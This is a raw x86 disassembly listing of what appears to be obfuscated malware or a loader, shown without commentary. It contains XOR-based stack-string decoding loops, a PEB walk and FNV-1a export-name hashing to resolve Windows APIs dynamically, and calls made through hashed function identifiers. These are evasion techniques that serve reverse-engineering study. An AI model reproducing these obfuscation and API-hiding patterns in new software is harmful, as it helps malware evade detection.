mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xd7], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0xcaf872
push 0xa1dbbc
lea edx, [ebp - 0xd7]
lea ecx, [ebp - 0x488]
call fcn.00cba050
add esp, 4
mov byte [ebp - 4], 0x22
mov ecx, eax
call fcn.00c36e70
push eax
push 1
push 0
call dword [0x9e71b8]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x488]
call fcn.00c36c70
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x488]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1e
call dword [0x9e7084]
cmp eax, 0xb7
je 0xcb21fa
mov byte [ebp - 0xe0], 0x18
xor edx, edx
mov byte [ebp - 0xdf], 0xd
mov byte [ebp - 0xde], 0x14
mov byte [ebp - 0xdd], 0x26
mov byte [ebp - 0xdc], 0x4a
mov byte [ebp - 0xdb], 4
mov byte [ebp - 0xda], 6
mov byte [ebp - 0xd9], 9
mov byte [ebp - 0xd8], 0x6c
mov al, byte [ebp - 0xe0]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xe0]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe0], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0xcaf960
sub esp, 0x18
lea eax, [ebp - 0xe0]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00c36b50
mov byte [ebp - 4], 0x2c
mov byte [ebp - 4], 0x1e
call fcn.00c5b350
mov ecx, dword [0xa20134]
mov eax, 0x2aaaaaab
sub ecx, dword [0xa20130]
add esp, 0x18
mov esi, dword [0x9e706c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0xcafa13
nop dword [eax]
push 0x65
call esi
mov ecx, dword [0xa20134]
mov eax, 0x2aaaaaab
sub ecx, dword [0xa20130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0xcaf9f0
push 2
push dword [0xa1db3c]
mov byte [0xa1ff39], 1
call dword [0x9e7320]
push dword [0xa1db3c]
call dword [0x9e731c]
call dword [0x9e7318]
nop word [eax + eax]
push 0x3f4
call esi
jmp 0xcafa40
mov esi, dword [0xa1db44]
mov edi, dword [0xa1db40]
push 0
push 2
push esi
push edi
call fcn.00d4ce70
mov ebx, dword [0xa1db48]
sub ebx, eax
mov eax, dword [0xa1db4c]
mov ecx, ebx
mov dword [0xa1db48], ebx
sbb eax, edx
xor ecx, edi
mov dword [ebp - 0x14], eax
mov edx, eax
mov dword [0xa1db4c], eax
mov eax, esi
xor eax, edx
or ecx, eax
je 0xcafa9b
add edi, ebx
mov dword [0xa1db40], edi
adc esi, edx
mov dword [0xa1db44], esi
test esi, esi
jl 0xcafab4
jg 0xcafaa9
cmp edi, 0x186a0
jbe 0xcafab4
xorps xmm0, xmm0
movlpd qword [0xa1db40], xmm0
mov byte [0xa1ff5d], 0
xor edx, edx
mov byte [ebp - 0x32], 0x3c
mov esi, 0xf
mov byte [ebp - 0x31], 0x4c
mov al, byte [ebp - 0x32]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x32]
mov ecx, edx
and ecx, esi
mov eax, 0xa3b47547
cmp ecx, esi
mov edx, 0xffe320b4
cmovae ecx, esi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x32], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 2
jb 0xcafad0
lea ecx, [ebp - 0x4a0]
call fcn.00c419f0
mov esi, eax
mov byte [ebp - 4], 0x33
push 0x29
push 0xbdf6907d
call fcn.00c3d180
mov ebx, dword [0xa1db3c]
add esp, 8
mov edi, eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x32]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcafb40
sub ecx, edx
lea eax, [ebp - 0x32]
push ecx
push eax
mov ecx, esi
call fcn.00cb8170
push eax
lea ecx, [ebp - 0x308]
call fcn.00c36b00
mov esi, dword [ebp - 0x30]
lea edx, [ebp - 0x308]
sub esp, 0x18
or esi, 0x10
mov dword [ebp - 0x30], esi
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0xa1dbbc
call fcn.00cba180
add esp, 4
mov byte [ebp - 4], 0x35
mov byte [ebp - 4], 0x34
mov edx, edi
mov ecx, ebx
call fcn.00c5a430
and esi, 0xffffffef
add esp, 0x18
mov edi, eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x308]
call fcn.00c36c70
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x308]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x4a0]
call fcn.00c36c70
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x4a0]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x1e
test edi, edi
jle 0xcafc97
cmp byte [0xa1ff5d], 0
jne 0xcafc97
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0xcafc69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0xcafc69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0xcafc62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0xcafc45
cmp esi, 0x2fa62ca8
je 0xcafc6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0xcafc30
mov eax, dword [eax]
jmp 0xcafc00
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x64
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp byte [0xa1ff5d], 0
je 0xcafbf2
call fcn.00c3d160
mov eax, dword [0xa1db40]
lea ecx, [ebp - 0x380]
xor dword [0xa1db48], eax
mov edx, 0xa1db74
mov eax, dword [0xa1db44]
xor dword [0xa1db4c], eax
call fcn.00c55820
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00cb5a60
mov byte [ebp - 4], 0x3d
cmp dword [0xa1db84], 0
jne 0xcafd66
mov edi, dword [0x9e706c]
nop
cmp dword [ebp - 0x1d0], 0
jne 0xcafd66
mov edx, 0xa1db74
lea ecx, [ebp - 0x538]
call fcn.00c55820
mov esi, eax
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x380]
push esi
call fcn.00cb5940
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x368]
call fcn.00cb5940
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x538]
call fcn.00c5a0a0
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00cb5910
push 2
push 0x92921e7f
call fcn.00c3d2d0
add esp, 8
push eax
call edi
cmp dword [0xa1db84], 0
je 0xcafcf0
push 0xa02978
mov ecx, 0xa1db74
call fcn.00c36e70
push eax
call fcn.00d28db0
add esp, 8
test eax, eax
je 0xcafe60
lea eax, [ebp - 0x258]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x240]
mov dword [ebp - 0x1c], eax
nop dword [eax + eax]
lea ecx, [ebp - 0x258]
call fcn.00c36fc0
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x258]
push 1
push 0xa0279c
call fcn.00c36f00
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x240]
call fcn.00c36fc0
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x240]
push 1
push 0xa02978
call fcn.00c36f00
mov byte [ebp - 4], 0x44
lea eax, [ebp - 0x258]
push eax
lea edx, [ebp - 0x240]
mov ecx, 0xa1db74
call fcn.00c3c8a0
add esp, 4
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x240]
call fcn.00c36c70
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x240]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x258]
call fcn.00c36c70
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x258]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x3d
mov ecx, 0xa1db74
push 0xa02978
call fcn.00c36e70
push eax
call fcn.00d28db0
add esp, 8
test eax, eax
jne 0xcafda0
mov byte [ebp - 0x37], 0x32
xor edx, edx
mov byte [ebp - 0x36], 0x31
mov edi, 0xf
mov byte [ebp - 0x35], 0x60
mov al, byte [ebp - 0x37]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x37]
mov ecx, edx
and ecx, edi
mov eax, 0x2f5a3361
cmp ecx, edi
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x37], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcafe80
lea eax, [ebp - 0x470]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x37]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcafed2
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
push eax
lea ecx, [ebp - 0x470]
call fcn.00c36f00
mov byte [ebp - 4], 0x4d
xor edx, edx
mov byte [ebp - 0x3a], 0x2b
mov byte [ebp - 0x39], 0x3e
mov byte [ebp - 0x38], 0x60
mov al, byte [ebp - 0x3a]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x3a]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x3a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcaff03
lea eax, [ebp - 0x458]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x3a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcaff57
sub ecx, edx
lea eax, [ebp - 0x3a]
push ecx
push eax
lea ecx, [ebp - 0x458]
call fcn.00c36f00
mov byte [ebp - 4], 0x50
xor edx, edx
mov byte [ebp - 0x3d], 0x22
mov byte [ebp - 0x3c], 0x3d
mov byte [ebp - 0x3b], 0x60
mov al, byte [ebp - 0x3d]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x3d]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x3d], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcaff90
lea eax, [ebp - 0x440]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcaffe4
sub ecx, edx
lea eax, [ebp - 0x3d]
push ecx
push eax
lea ecx, [ebp - 0x440]
call fcn.00c36f00
mov byte [ebp - 4], 0x53
xor edx, edx
mov byte [ebp - 0x40], 0x21
mov byte [ebp - 0x3f], 0x29
mov byte [ebp - 0x3e], 0x60
mov al, byte [ebp - 0x40]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x40]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x40], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcb0015
lea eax, [ebp - 0x428]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x40]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcb0070
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x428]
call fcn.00c36f00
mov byte [ebp - 4], 0x56
xor edx, edx
mov byte [ebp - 0x46], 0x35
mov byte [ebp - 0x45], 0x3e
mov byte [ebp - 0x44], 0x60
mov al, byte [ebp - 0x46]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x46]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x46], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcb00a1
lea eax, [ebp - 0x410]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x46]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcb00f5
sub ecx, edx
lea eax, [ebp - 0x46]
push ecx
push eax
lea ecx, [ebp - 0x410]
call fcn.00c36f00
mov byte [ebp - 4], 0x59
xor edx, edx
mov byte [ebp - 0x49], 0x2d
mov byte [ebp - 0x48], 0x20
mov byte [ebp - 0x47], 0x60
mov al, byte [ebp - 0x49]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x49]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x49], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcb0126
lea eax, [ebp - 0x3f8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x49]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcb0180
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0x3f8]
call fcn.00c36f00
mov byte [ebp - 4], 0x5c
xor edx, edx
mov byte [ebp - 0x4c], 0x2b
mov byte [ebp - 0x4b], 0x23
mov byte [ebp - 0x4a], 0x60
mov al, byte [ebp - 0x4c]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x4c]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x4c], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcb01b1
lea eax, [ebp - 0x3e0]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x4c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcb0205
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x3e0]
call fcn.00c36f00
mov byte [ebp - 4], 0x5f
xor edx, edx
mov byte [ebp - 0x4f], 0x34
mov byte [ebp - 0x4e], 0x2e
mov byte [ebp - 0x4d], 0x60
mov al, byte [ebp - 0x4f]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x4f]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x4f], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcb0236
lea eax, [ebp - 0x3c8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x4f]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcb0290
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
lea ecx, [ebp - 0x3c8]
call fcn.00c36f00
mov byte [ebp - 4], 0x62
xor edx, edx
mov byte [ebp - 0x52], 0x35
mov byte [ebp - 0x51], 0x25
mov byte [ebp - 0x50], 0x60
mov al, byte [ebp - 0x52]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x52]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x52], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcb02c1
lea eax, [ebp - 0x3b0]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x52]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcb0315
sub ecx, edx
lea eax, [ebp - 0x52]
push ecx
push eax
lea ecx, [ebp - 0x3b0]
call fcn.00c36f00
mov byte [ebp - 4], 0x65
xor edx, edx
mov byte [ebp - 0x43], 0x21
mov byte [ebp - 0x42], 0x3e
mov byte [ebp - 0x41], 0x60
mov al, byte [ebp - 0x43]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x43]
mov ecx, edx
and ecx, 0xf
mov eax, 0x2f5a3361
cmp ecx, 0xf
mov edx, 0x41ef8f97
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x61]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x43], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 3
jb 0xcb0346
lea eax, [ebp - 0x398]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00c36fc0
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x43]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xcb03a0
sub ecx, edx
lea eax, [ebp - 0x43]
push ecx
push eax
lea ecx, [ebp - 0x398]
call fcn.00c36f00
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x380]
lea ecx, [ebp - 0x470]
push eax
push ecx
lea ecx, [ebp - 0x508]
call fcn.00cb25c0
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x470]
push 0x8bb6f0
push 0xa
push 0x18
push eax
call fcn.00d11705
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x508]
call fcn.00cbacd0
test eax, eax
je 0xcb050a
mov byte [ebp - 0x18d], 0xae
xor edx, edx
mov byte [ebp - 0x18c], 0x98
mov byte [ebp - 0x18b], 0xb3
mov byte [ebp - 0x18a], 0x83
mov byte [ebp - 0x189], 0x9d
mov byte [ebp - 0x188], 0x8f
mov byte [ebp - 0x187], 0x82
mov byte [ebp - 0x186], 0x8d
mov byte [ebp - 0x185], 0x8f
mov byte [ebp - 0x184], 0x9e
mov byte [ebp - 0x183], 0x8f
mov byte [ebp - 0x182], 0xbc
mov byte [ebp - 0x181], 0x9b
mov byte [ebp - 0x180], 0x88
mov byte [ebp - 0x17f], 0x83
mov byte [ebp - 0x17e], 0x9e
mov byte [ebp - 0x17d], 0x83
mov byte [ebp - 0x17c], 0x8f
mov byte [ebp - 0x17b], 0xf7
mov al, byte [ebp - 0x18d]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x18d]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbc4a24e1
cmp ecx, 0xf
mov edx, 0xbf940107
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x1f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x18d], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x13
jb 0xcb04a0
push 0xa02910
call dword [0x9e7058]
lea ecx, [ebp - 0x18d]
push ecx
push eax
call dword [0x9e70cc]
mov esi, eax
test esi, esi
je 0xcb050a
push 0
call dword [0x9e71d8]
push eax
call esi
call fcn.00c5b4d0
call fcn.00c5b570
call fcn.00c5b610
call fcn.00c5b6b0
cmp byte [0xa20060], 1
jne 0xcb0ca5
mov byte [ebp - 0x13c], 0xe7
xor edx, edx
mov byte [ebp - 0x13b], 0xea
mov byte [ebp - 0x13a], 0xfb
mov byte [ebp - 0x139], 0xfd
mov byte [ebp - 0x138], 0xc1
mov byte [ebp - 0x137], 0xe1
mov byte [ebp - 0x136], 0xfe
mov byte [ebp - 0x135], 0xec
mov byte [ebp - 0x134], 0xf8
mov byte [ebp - 0x133], 0xfc
mov byte [ebp - 0x132], 0xf8
mov byte [ebp - 0x131], 0x9a
mov al, byte [ebp - 0x13c]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x13c]
mov ecx, edx
and ecx, 0xf
mov eax, 0x886ddb8f
cmp ecx, 0xf
mov edx, 0x7d980f1a
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x71]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x13c], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xc
jb 0xcb0590
lea eax, [ebp - 0x13c]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x56]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x56]
xor edx, edx
mov byte [0xa1db3b], al
mov byte [ebp - 0xbc], 0xb7
mov byte [ebp - 0xbb], 0xa7
mov byte [ebp - 0xba], 0xb9
mov byte [ebp - 0xb9], 0xbe
mov byte [ebp - 0xb8], 0x85
mov byte [ebp - 0xb7], 0xa0
mov byte [ebp - 0xb6], 0xbf
mov byte [ebp - 0xb5], 0xd2
mov al, byte [ebp - 0xbc]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xbc]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc58161d7
cmp ecx, 0xf
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xbc], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0xcb0640
lea eax, [ebp - 0xbc]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x57]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x57]
xor edx, edx
mov byte [0xa1db55], al
mov byte [ebp - 0xc4], 0xb7
mov byte [ebp - 0xc3], 0xa7
mov byte [ebp - 0xc2], 0xb9
mov byte [ebp - 0xc1], 0xbe
mov byte [ebp - 0xc0], 0x85
mov byte [ebp - 0xbf], 0xb0
mov byte [ebp - 0xbe], 0xab
mov byte [ebp - 0xbd], 0xd2
mov al, byte [ebp - 0xc4]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xc4]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc58161d7
cmp ecx, 0xf
mov edx, 0x27f75b5d
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xc4], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 8
jb 0xcb06f0
lea eax, [ebp - 0xc4]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x5d]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x5d]
xor edx, edx
mov byte [0xa1db3a], al
mov byte [ebp - 0x149], 0x47
mov byte [ebp - 0x148], 0x5e
mov byte [ebp - 0x147], 0x46
mov byte [ebp - 0x146], 0x5d
mov byte [ebp - 0x145], 0x6c
mov byte [ebp - 0x144], 0x49
mov byte [ebp - 0x143], 0x5b
mov byte [ebp - 0x142], 0x54
mov byte [ebp - 0x141], 0x5d
mov byte [ebp - 0x140], 0x53
mov byte [ebp - 0x13f], 0x4f
mov byte [ebp - 0x13e], 0x4f
mov byte [ebp - 0x13d], 0x35
mov al, byte [ebp - 0x149]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0x149]
mov ecx, edx
and ecx, 0xf
mov eax, 0xc9c2f82d
cmp ecx, 0xf
mov edx, 0x8f8c4c04
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x2d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x149], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xd
jb 0xcb07c0
lea eax, [ebp - 0x149]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x5e]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x5e]
xor edx, edx
mov byte [0xa1db39], al
mov byte [ebp - 0x157], 0xa7
mov byte [ebp - 0x156], 0xae
mov byte [ebp - 0x155], 0xb6
mov byte [ebp - 0x154], 0xb9
mov byte [ebp - 0x153], pe_nt_image_headers32
mov byte [ebp - 0x152], 0xb6
mov byte [ebp - 0x151], 0xbd
mov byte [ebp - 0x150], 0xba
mov byte [ebp - 0x14f], 0xa7
mov byte [ebp - 0x14e], 0xa8
mov byte [ebp - 0x14d], 0xb9
mov byte [ebp - 0x14c], 0xaf
mov byte [ebp - 0x14b], 0xa8
mov byte [ebp - 0x14a], 0xd5
mov al, byte [ebp - 0x157]
mov dword [ebp - 0x10], edx
mov bl, byte [ebp + edx - 0x157]
mov ecx, edx
and ecx, 0xf
mov eax, 0x50bc96cf
cmp ecx, 0xf
mov edx, 0xdc9a7f43
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x31]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x157], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xe
jb 0xcb0890
lea eax, [ebp - 0x157]
mov ecx, 0xa20060
push eax
call fcn.00cba2f0
lea edx, [ebp - 0x55]
mov ecx, eax
call fcn.00ccbbf0
mov al, byte [ebp - 0x55]
xor edx, edx
mov byte [0xa1db54], al
mov byte [ebp - 0xe9], 0x37
mov byte [ebp - 0xe8], 0x29
mov byte [ebp - 0xe7], 0x3b
mov byte [ebp - 0xe6], 7
mov byte [ebp - 0xe5], 0x3b
mov byte [ebp - 0xe4], 6
mov byte [ebp - 0xe3], 0x1e
mov byte [ebp - 0xe2], 0x15
mov byte [ebp - 0xe1], 0x6c
mov al, byte [ebp - 0xe9]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xe9]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00d4cd00
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
